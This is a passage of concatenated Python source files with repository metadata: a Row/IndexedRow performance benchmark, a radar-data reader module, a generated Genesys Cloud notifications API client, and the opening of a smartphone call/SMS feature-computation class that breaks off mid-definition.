else: return obj return dict(zip(self.__fields__, (conv(o) for o in self))) else: return dict(zip(self.__fields__, self)) # let object acts like class def __call__(self, *args): """create new Row object""" return _create_row(self, args) def __getattr__(self, item): if item.startswith("__"): raise AttributeError(item) try: # it will be slow when it has many fields, # but this will not be used in normal cases idx = self.__fields__.index(item) return self[idx] except IndexError: raise AttributeError(item) except ValueError: raise AttributeError(item) def __setattr__(self, key, value): if key != '__fields__': raise Exception("Row is read-only") self.__dict__[key] = value def __reduce__(self): """Returns a tuple so Python knows how to pickle Row.""" if hasattr(self, "__fields__"): return (_create_row, (self.__fields__, tuple(self))) else: return tuple.__reduce__(self) def __repr__(self): """Printable representation of Row used in Python REPL.""" if hasattr(self, "__fields__"): return "Row(%s)" % ", ".join("%s=%r" % (k, v) for k, v in zip(self.__fields__, tuple(self))) else: return "<Row(%s)>" % ", ".join(self) def _create_indexed_row(fields, values): row = Row(*values) row.__fields__ = fields row.__fieldindex__ = dict(zip(fields, range(len(fields)))) return row class IndexedRow(tuple): """ A row in L{DataFrame}. The fields in it can be accessed like attributes. Row can be used to create a row object by using named arguments, the fields will be sorted by names. >>> row = Row(name="Alice", age=11) >>> row Row(age=11, name='Alice') >>> row.name, row.age ('Alice', 11) Row also can be used to create another Row like class, then it could be used to create Row objects, such as >>> Person = Row("name", "age") >>> Person <Row(name, age)> >>> Person("Alice", 11) Row(name='Alice', age=11) """ def __new__(self, *args, **kwargs): if args and kwargs: raise ValueError("Can not use both args " "and kwargs to create Row") if args: # create row class or objects return tuple.__new__(self, args) elif kwargs: # create row objects names = sorted(kwargs.keys()) row = tuple.__new__(self, [kwargs[n] for n in names]) row.__fields__ = names row.__fieldindex__ = dict(zip(names, range(len(names)))) return row else: raise ValueError("No args or kwargs") def asDict(self, recursive=False): """ Return as an dict :param recursive: turns the nested Row as dict (default: False). >>> Row(name="Alice", age=11).asDict() == {'name': 'Alice', 'age': 11} True >>> row = Row(key=1, value=Row(name='a', age=2)) >>> row.asDict() == {'key': 1, 'value': Row(age=2, name='a')} True >>> row.asDict(True) == {'key': 1, 'value': {'name': 'a', 'age': 2}} True """ if not hasattr(self, "__fields__"): raise TypeError("Cannot convert a Row class into dict") if recursive: def conv(obj): if isinstance(obj, Row): return obj.asDict(True) elif isinstance(obj, list): return [conv(o) for o in obj] elif isinstance(obj, dict): return dict((k, conv(v)) for k, v in obj.items()) else: return obj return dict(zip(self.__fields__, (conv(o) for o in self))) else: return dict(zip(self.__fields__, self)) # let object acts like class def __call__(self, *args): """create new Row object""" return _create_indexed_row(self, args) def __getattr__(self, item): if item.startswith("__"): raise AttributeError(item) try: # it will be slow when it has many fields, # but this will not be used in normal cases idx = self.__fieldindex__[item] return self[idx] except IndexError: raise AttributeError(item) except ValueError: raise AttributeError(item) except KeyError: raise AttributeError(item) def __setattr__(self, key, value): if key not in ('__fields__', '__fieldindex__'): raise Exception("Row is read-only") self.__dict__[key] = value def __reduce__(self): """Returns a tuple so Python knows how to pickle Row.""" if hasattr(self, "__fields__"): return (_create_indexed_row, (self.__fields__, tuple(self))) else: return tuple.__reduce__(self) def __repr__(self): """Printable representation of Row used in Python REPL.""" if hasattr(self, "__fields__"): return "Row(%s)" % ", ".join("%s=%r" % (k, v) for k, v in zip(self.__fields__, tuple(self))) else: return "<Row(%s)>" % ", ".join(self) def generate_field_list(num, seed=None): length = 0 fields = [] random.seed(seed) while length != num: fields = ['f' + md5('field' + str(random.randint(0, 10000000))).hexdigest() for _ in range(num)] length = len(set(fields)) return fields def generate_data(fields, seed=None): res = {} random.seed(seed) for f in fields: res[f] = random.randint(1, 1000000000) if random.random() < 0.5 \ else md5('field' + str(random.randint(0, 10000000))).hexdigest() return res def test(row, fields, num): data = generate_data(fields) num_fields = len(fields) start = time.time() ds = [row(**data) for _ in range(num)] print 'Created %10d %s objects with %3d fields in %6.2f sec' % (num, row.__name__, num_fields, time.time()-start) start = time.time() for field in fields: tds = [r.__getattr__(field) for r in ds] print 'Queried %10d %s objects with %3d fields in %6.2f sec' % (num, row.__name__, num_fields, time.time()-start) def main(): for obj in [Row, IndexedRow]: for num_fields in range(1, 101): test(obj, generate_field_list(num_fields), 1000000) if __name__ == "__main__": main()

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8

3dcfee446a3876c1eab5362ab5513a5986b3b371

3,573

py

Python

pycwr/io/__init__.py

1271756664/study

8013dd6c597618949c5fcbf86e38502525a8136d

[ "MIT" ]

144

2019-11-27T14:36:41.000Z

2022-02-23T08:21:17.000Z

pycwr/io/__init__.py

1271756664/study

8013dd6c597618949c5fcbf86e38502525a8136d

[ "MIT" ]

32

2019-11-29T10:11:53.000Z

2022-03-14T07:46:44.000Z

pycwr/io/__init__.py

1271756664/study

8013dd6c597618949c5fcbf86e38502525a8136d

[ "MIT" ]

57

2019-11-27T12:51:44.000Z

2022-01-29T14:50:05.000Z

from . import SCFile, WSR98DFile, SABFile, CCFile, PAFile from .util import radar_format __all__ = ["read_auto", "CCFile", "SCFile", "WSR98DFile", "SABFile"] def read_auto(filename, station_lon=None, station_lat=None, station_alt=None): """ :param filename: radar basedata filename :param station_lon: radar station longitude //units: degree east :param station_lat: radar station latitude //units:degree north :param station_alt: radar station altitude //units: meters """ radar_type = radar_format(filename) if radar_type == "WSR98D": return WSR98DFile.WSR98D2NRadar(WSR98DFile.WSR98DBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() elif radar_type == "SAB": return SABFile.SAB2NRadar(SABFile.SABBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() elif radar_type == "CC": return CCFile.CC2NRadar(CCFile.CCBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() elif radar_type == "SC": return SCFile.SC2NRadar(SCFile.SCBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() elif radar_type == "PA": return PAFile.PA2NRadar(PAFile.PABaseData(filename, station_lon, station_lat, station_alt)).ToPRD() else: raise TypeError("unsupported radar type!") def read_SAB(filename, station_lon=None, station_lat=None, station_alt=None): """ :param filename: radar basedata filename :param station_lon: radar station longitude //units: degree east :param station_lat: radar station latitude //units:degree north :param station_alt: radar station altitude //units: meters """ return SABFile.SAB2NRadar(SABFile.SABBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() def read_CC(filename, station_lon=None, station_lat=None, station_alt=None): """ :param filename: radar basedata filename :param station_lon: radar station longitude //units: degree east :param station_lat: radar station latitude //units:degree north :param station_alt: radar station altitude //units: meters """ return CCFile.CC2NRadar(CCFile.CCBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() def read_SC(filename, station_lon=None, station_lat=None, station_alt=None): """ :param filename: radar basedata filename :param station_lon: radar station longitude //units: degree east :param station_lat: radar station latitude //units:degree north :param station_alt: radar station altitude //units: meters """ return SCFile.SC2NRadar(SCFile.SCBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() def read_WSR98D(filename, station_lon=None, station_lat=None, station_alt=None): """ :param filename: radar basedata filename :param station_lon: radar station longitude //units: degree east :param station_lat: radar station latitude //units:degree north :param station_alt: radar station altitude //units: meters """ return WSR98DFile.WSR98D2NRadar(WSR98DFile.WSR98DBaseData(filename, station_lon, station_lat, station_alt)).ToPRD() def read_PA(filename, station_lon=None, station_lat=None, station_alt=None): """ :param filename: radar basedata filename :param station_lon: radar station longitude //units: degree east :param station_lat: radar station latitude //units:degree north :param station_alt: radar station altitude //units: meters """ return PAFile.PA2NRadar(PAFile.PABaseData(filename, station_lon, station_lat, station_alt)).ToPRD()

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9a717733af978bd262ece0750855549656f30728

23,130

py

Python

libs/PureCloudPlatformClientV2/apis/notifications_api.py

rocketbot-cl/genesysCloud

dd9d9b5ebb90a82bab98c0d88b9585c22c91f333

[ "MIT" ]

1

2021-10-08T20:46:45.000Z

libs/PureCloudPlatformClientV2/apis/notifications_api.py

rocketbot-cl/genesysCloud

dd9d9b5ebb90a82bab98c0d88b9585c22c91f333

[ "MIT" ]

null

libs/PureCloudPlatformClientV2/apis/notifications_api.py

rocketbot-cl/genesysCloud

dd9d9b5ebb90a82bab98c0d88b9585c22c91f333

[ "MIT" ]

null

# coding: utf-8 """ NotificationsApi.py Copyright 2016 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class NotificationsApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def delete_notifications_channel_subscriptions(self, channel_id, **kwargs): """ Remove all subscriptions This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_notifications_channel_subscriptions(channel_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str channel_id: Channel ID (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['channel_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_notifications_channel_subscriptions" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'channel_id' is set if ('channel_id' not in params) or (params['channel_id'] is None): raise ValueError("Missing the required parameter `channel_id` when calling `delete_notifications_channel_subscriptions`") resource_path = '/api/v2/notifications/channels/{channelId}/subscriptions'.replace('{format}', 'json') path_params = {} if 'channel_id' in params: path_params['channelId'] = params['channel_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, callback=params.get('callback')) return response def get_notifications_availabletopics(self, **kwargs): """ Get available notification topics. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_notifications_availabletopics(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param list[str] expand: Which fields, if any, to expand :param bool include_preview: Whether or not to include Preview topics :return: AvailableTopicEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['expand', 'include_preview'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_notifications_availabletopics" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/notifications/availabletopics'.replace('{format}', 'json') path_params = {} query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] if 'include_preview' in params: query_params['includePreview'] = params['include_preview'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='AvailableTopicEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_notifications_channel_subscriptions(self, channel_id, **kwargs): """ The list of all subscriptions for this channel This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_notifications_channel_subscriptions(channel_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str channel_id: Channel ID (required) :return: ChannelTopicEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['channel_id'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_notifications_channel_subscriptions" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'channel_id' is set if ('channel_id' not in params) or (params['channel_id'] is None): raise ValueError("Missing the required parameter `channel_id` when calling `get_notifications_channel_subscriptions`") resource_path = '/api/v2/notifications/channels/{channelId}/subscriptions'.replace('{format}', 'json') path_params = {} if 'channel_id' in params: path_params['channelId'] = params['channel_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ChannelTopicEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def get_notifications_channels(self, **kwargs): """ The list of existing channels This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_notifications_channels(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str includechannels: Show user's channels for this specific token or across all tokens for this user and app. Channel Ids for other access tokens will not be shown, but will be presented to show their existence. :return: ChannelEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['includechannels'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_notifications_channels" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/notifications/channels'.replace('{format}', 'json') path_params = {} query_params = {} if 'includechannels' in params: query_params['includechannels'] = params['includechannels'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ChannelEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def post_notifications_channel_subscriptions(self, channel_id, body, **kwargs): """ Add a list of subscriptions to the existing list of subscriptions This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_notifications_channel_subscriptions(channel_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str channel_id: Channel ID (required) :param list[ChannelTopic] body: Body (required) :return: ChannelTopicEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['channel_id', 'body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_notifications_channel_subscriptions" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'channel_id' is set if ('channel_id' not in params) or (params['channel_id'] is None): raise ValueError("Missing the required parameter `channel_id` when calling `post_notifications_channel_subscriptions`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_notifications_channel_subscriptions`") resource_path = '/api/v2/notifications/channels/{channelId}/subscriptions'.replace('{format}', 'json') path_params = {} if 'channel_id' in params: path_params['channelId'] = params['channel_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ChannelTopicEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def post_notifications_channels(self, **kwargs): """ Create a new channel There is a limit of 20 channels per user/app combination. Creating a 21st channel will remove the channel with oldest last used date. Channels without an active connection will be removed first. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_notifications_channels(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :return: Channel If the method is called asynchronously, returns the request thread. """ all_params = [] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_notifications_channels" % key ) params[key] = val del params['kwargs'] resource_path = '/api/v2/notifications/channels'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Channel', auth_settings=auth_settings, callback=params.get('callback')) return response def put_notifications_channel_subscriptions(self, channel_id, body, **kwargs): """ Replace the current list of subscriptions with a new list. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.put_notifications_channel_subscriptions(channel_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str channel_id: Channel ID (required) :param list[ChannelTopic] body: Body (required) :return: ChannelTopicEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['channel_id', 'body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method put_notifications_channel_subscriptions" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'channel_id' is set if ('channel_id' not in params) or (params['channel_id'] is None): raise ValueError("Missing the required parameter `channel_id` when calling `put_notifications_channel_subscriptions`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `put_notifications_channel_subscriptions`") resource_path = '/api/v2/notifications/channels/{channelId}/subscriptions'.replace('{format}', 'json') path_params = {} if 'channel_id' in params: path_params['channelId'] = params['channel_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ChannelTopicEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response

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9a75aa4695d19c9f81142de9801ffff7f439092f

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py

Python

core/admission_control_marker/phone_features.py

MD2Korg/CerebralCortex-DataDebugger

f2e34337cd7e47fde77a7ccad32ea55da972caec

[ "BSD-2-Clause" ]

null

core/admission_control_marker/phone_features.py

MD2Korg/CerebralCortex-DataDebugger

f2e34337cd7e47fde77a7ccad32ea55da972caec

[ "BSD-2-Clause" ]

null

core/admission_control_marker/phone_features.py

MD2Korg/CerebralCortex-DataDebugger

f2e34337cd7e47fde77a7ccad32ea55da972caec

[ "BSD-2-Clause" ]

null

# Copyright (c) 2018, MD2K Center of Excellence # - Md Shiplu Hawlader <shiplu.cse.du@gmail.com; mhwlader@memphis.edu> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import math from cerebralcortex.core.datatypes.datastream import DataStream from cerebralcortex.core.datatypes.datastream import DataPoint from cerebralcortex.core.datatypes.stream_types import StreamTypes from core.computefeature import ComputeFeatureBase from urllib.request import urlopen from bs4 import BeautifulSoup import datetime import numpy as np from datetime import timedelta import time import copy import traceback from functools import lru_cache import math import base64 import pickle from sklearn.mixture import GaussianMixture from typing import List, Callable, Any feature_class_name = 'PhoneFeatures' # Constants IN_VEHICLE = 6.0 ON_BICYCLE = 5.0 STILL = 0.0 ON_FOOT = 1.0 TILTING = 2.0 WALKING = 3.0 RUNNING = 4.0 UNKNOWN = 7.0 OUTGOING_TYPE = 2.0 MESSAGE_TYPE_SENT = 2.0 class PhoneFeatures(ComputeFeatureBase): """ This class is responsible for computing features based on streams of data derived from the smartphone sensors. """ def get_filtered_data(self, data: List[DataPoint], admission_control: Callable[[Any], bool] = None) -> List[DataPoint]: """ Return the filtered list of DataPoints according to the admission control provided :param List(DataPoint) data: Input data list :param Callable[[Any], bool] admission_control: Admission control lambda function, which accepts the sample and returns a bool based on the data sample validity :return: Filtered list of DataPoints :rtype: List(DataPoint) """ if admission_control is None: return data filtered_data = [] for d in data: if admission_control(d.sample): filtered_data.append(d) elif type(d.sample) is list and len(d.sample) == 1 and admission_control(d.sample[0]): d.sample = d.sample[0] filtered_data.append(d) return filtered_data def get_data_by_stream_name(self, stream_name: str, user_id: str, day: str, localtime: bool=True, ingested_stream=True) -> List[DataPoint]: """ Combines data from multiple streams data of same stream based on stream name. :param str stream_name: Name of the stream :param str user_id: UUID of the stream owner :param str day: The day (YYYYMMDD) on which to operate :param bool localtime: The way to structure time, True for operating in participant's local time, False for UTC :return: Combined stream data if there are multiple stream id :rtype: List(DataPoint) """ if ingested_stream: stream_ids = self.CC.get_stream_id(user_id, stream_name) else: stream_ids = self.get_latest_stream_id(user_id, stream_name) data = [] for stream in stream_ids: if stream is not None: ds = self.CC.get_stream(stream['identifier'], user_id=user_id, day=day, localtime=localtime) if ds is not None: if ds.data is not None: data += ds.data if len(stream_ids) > 1: data = sorted(data, key=lambda x: x.start_time) return data def inter_event_time_list(self, data: List[DataPoint]) -> List[float]: """ Helper function to compute inter-event times :param List(DataPoint) data: A list of DataPoints :return: Time deltas between DataPoints in minutes :rtype: list(float) """ if len(data) == 0: return None last_end = data[0].end_time ret = [] flag = False for cd in data: if flag == False: flag = True continue dif = cd.start_time - last_end ret.append(max(0, dif.total_seconds())) last_end = max(last_end, cd.end_time) return list(map(lambda x: x / 60.0, ret)) def average_inter_phone_call_sms_time_hourly(self, phonedata: List[DataPoint], smsdata: List[DataPoint]) -> List[DataPoint]: """ Average time (in minutes) between two consecutive events (call and sms) for each hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :param List(DataPoint) smsdata: SMS DataStream :return: Average inter-phone call and sms time over 1 hour windows :rtype: List(DataPoint) or None """ tmpphonestream = self.get_filtered_data(phonedata) tmpsmsstream = self.get_filtered_data(smsdata) if len(tmpphonestream) + len(tmpsmsstream) <= 1: return None for s in tmpphonestream: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) for s in tmpsmsstream: s.end_time = s.start_time combined_data = phonedata + smsdata combined_data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(datalist)) / (len(datalist) - 1))) return new_data def average_inter_phone_call_sms_time_four_hourly(self, phonedata: List[DataPoint], smsdata: List[DataPoint]) \ -> List[DataPoint]: """ Average time (in minutes) between two consecutive events (call and sms) for each four hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :param List(DataPoint) smsdata: SMS DataStream :return: Average inter-phone call and sms time over 4 hour windows :rtype: List(DataPoint) or None """ tmpphonestream = self.get_filtered_data(phonedata) tmpsmsstream = self.get_filtered_data(smsdata) if len(tmpphonestream) + len(tmpsmsstream) <= 1: return None for s in tmpphonestream: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) for s in tmpsmsstream: s.end_time = s.start_time combined_data = phonedata + smsdata combined_data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24, 4): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(hours=3, minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(datalist)) / (len(datalist) - 1))) return new_data def average_inter_phone_call_sms_time_daily(self, phonedata: List[DataPoint], smsdata: List[DataPoint])\ -> List[DataPoint]: """ Average time (in minutes) between two consecutive events (call and sms) for whole day. If there is not enough data then it will return None. :param List(DataPoint) phonedata: Phone call DataStream :param List(DataPoint) smsdata: SMS DataStream :return: Average inter-phone call and sms time over 1 day windows :rtype: List(DataPoint) or None """ if len(phonedata) + len(smsdata) <= 1: return None tmpphonestream = phonedata tmpsmsstream = smsdata for s in tmpphonestream: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) for s in tmpsmsstream: s.end_time = s.start_time combined_data = phonedata + smsdata combined_data.sort(key=lambda x: x.start_time) start_time = datetime.datetime(year=combined_data[0].start_time.year, month=combined_data[0].start_time.month, day=combined_data[0].start_time.day, tzinfo=combined_data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=combined_data[0].offset, sample=sum(self.inter_event_time_list(combined_data)) / (len(combined_data) - 1))] return new_data def variance_inter_phone_call_sms_time_daily(self, phonedata: List[DataPoint], smsdata: List[DataPoint]) \ -> List[DataPoint]: """ Variance of time (in minutes) between two consecutive events (call and sms) for whole day. If there is not enough data then it will return None. :param List(DataPoint) phonedata: Phone call DataStream :param List(DataPoint) smsdata: SMS DataStream :return: Variance of inter-phone call and sms time over 1 day windows :rtype: List(DataPoint) or None """ if len(phonedata) + len(smsdata) <= 1: return None tmpphonestream = phonedata tmpsmsstream = smsdata for s in tmpphonestream: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) for s in tmpsmsstream: s.end_time = s.start_time combined_data = phonedata + smsdata combined_data.sort(key=lambda x: x.start_time) start_time = datetime.datetime(year=combined_data[0].start_time.year, month=combined_data[0].start_time.month, day=combined_data[0].start_time.day, tzinfo=combined_data[0].start_time.tzinfo) end_time = start_time + datetime.timedelta(hours=23, minutes=59) new_data = [DataPoint(start_time=start_time, end_time=end_time, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(combined_data)))] return new_data def variance_inter_phone_call_sms_time_hourly(self, phonedata: List[DataPoint], smsdata: List[DataPoint])\ ->List[DataPoint]: """ Variance of time (in minutes) between two consecutive events (call and sms) for each hour window. If there is not enough data for a window then there will be no data point for that window. :param List(DataPoint) phonedata: Phone call DataStream :param List(DataPoint) smsdata: SMS DataStream :return: Variances of inter-phone call and sms time over 1 hour windows :rtype: List(DataPoint) or None """ if len(phonedata) + len(smsdata) <= 1: return None tmpphonestream = phonedata tmpsmsstream = smsdata for s in tmpphonestream: s.end_time = s.start_time + datetime.timedelta(seconds=s.sample) for s in tmpsmsstream: s.end_time = s.start_time combined_data = phonedata + smsdata combined_data.sort(key=lambda x: x.start_time) new_data = [] tmp_time = copy.deepcopy(combined_data[0].start_time) tmp_time = tmp_time.replace(hour=0, minute=0, second=0, microsecond=0) for h in range(0, 24): datalist = [] start = tmp_time.replace(hour=h) end = start + datetime.timedelta(minutes=59) for d in combined_data: if start <= d.start_time <= end or start <= d.end_time <= end: datalist.append(d) if len(datalist) <= 1: continue new_data.append(DataPoint(start_time=start, end_time=end, offset=combined_data[0].offset, sample=np.var(self.inter_event_time_list(datalist)))) return new_data def variance_inter_phone_call_sms_time_four_hourly(self, phonedata: List[DataPoint], 